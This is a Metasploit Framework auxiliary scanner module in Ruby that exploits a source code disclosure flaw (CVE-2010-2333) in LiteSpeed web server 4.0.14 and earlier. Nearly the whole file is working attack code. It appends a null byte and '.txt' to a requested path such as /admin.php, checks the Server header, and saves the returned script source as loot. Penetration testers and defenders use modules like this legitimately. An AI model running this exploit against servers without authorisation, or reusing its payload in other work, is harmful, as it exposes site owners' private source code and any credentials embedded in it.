##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'           => 'LiteSpeed Source Code Disclosure/Download',
			'Description'    => %q{
					This module exploits a source code disclosure/download vulnerability in
				versions 4.0.14 and prior of LiteSpeed.
			},
			'References'     =>
				[
					[ 'CVE', '2010-2333' ],
					[ 'OSVDB', '65476' ],
					[ 'BID', '40815' ],
					[ 'EDB', '13850' ]
				],
			'Author'         =>
				[
					'Kingcope',  # initial disclosure
					'xanda'      # Metasploit module
				],
			'License'        =>  MSF_LICENSE)

		register_options(
			[
				OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
				OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
			], self.class)
	end

	def target_url
		uri = normalize_uri(datastore['URI'])
		"http://#{vhost}:#{rport}#{datastore['URI']}"
	end

	def run_host(ip)
		uri = normalize_uri(datastore['URI'])
		path_save = datastore['PATH_SAVE']

		vuln_versions = [
			"LiteSpeed"
		]

		nullbytetxt = "\x00.txt"

		begin
			res = send_request_raw({
				'method'  => 'GET',
				'uri'     => "#{uri}#{nullbytetxt}",
			}, 25)

			version = res.headers['Server'] if res

			if vuln_versions.include?(version)
				print_good("#{target_url} - LiteSpeed - Vulnerable version: #{version}")

				if (res and res.code == 200)

					print_good("#{target_url} - LiteSpeed - Getting the source of page #{uri}")
					p = store_loot("litespeed.source", "text/plain", rhost, res.body, path_save)
					print_status("#{target_url} - LiteSpeed - File successfully saved: #{p}")

				else
					print_error("http://#{vhost}:#{rport} - LiteSpeed - Unrecognized #{res.code} response")
					return

				end

			else
				if version =~ /LiteSpeed/
					print_error("#{target_url} - LiteSpeed - Cannot exploit: the remote server is not vulnerable - Version #{version}")
				else
					print_error("#{target_url} - LiteSpeed - Cannot exploit: the remote server is not LiteSpeed")
				end
				return

			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
		rescue ::Timeout::Error, ::Errno::EPIPE
		end
	end

end
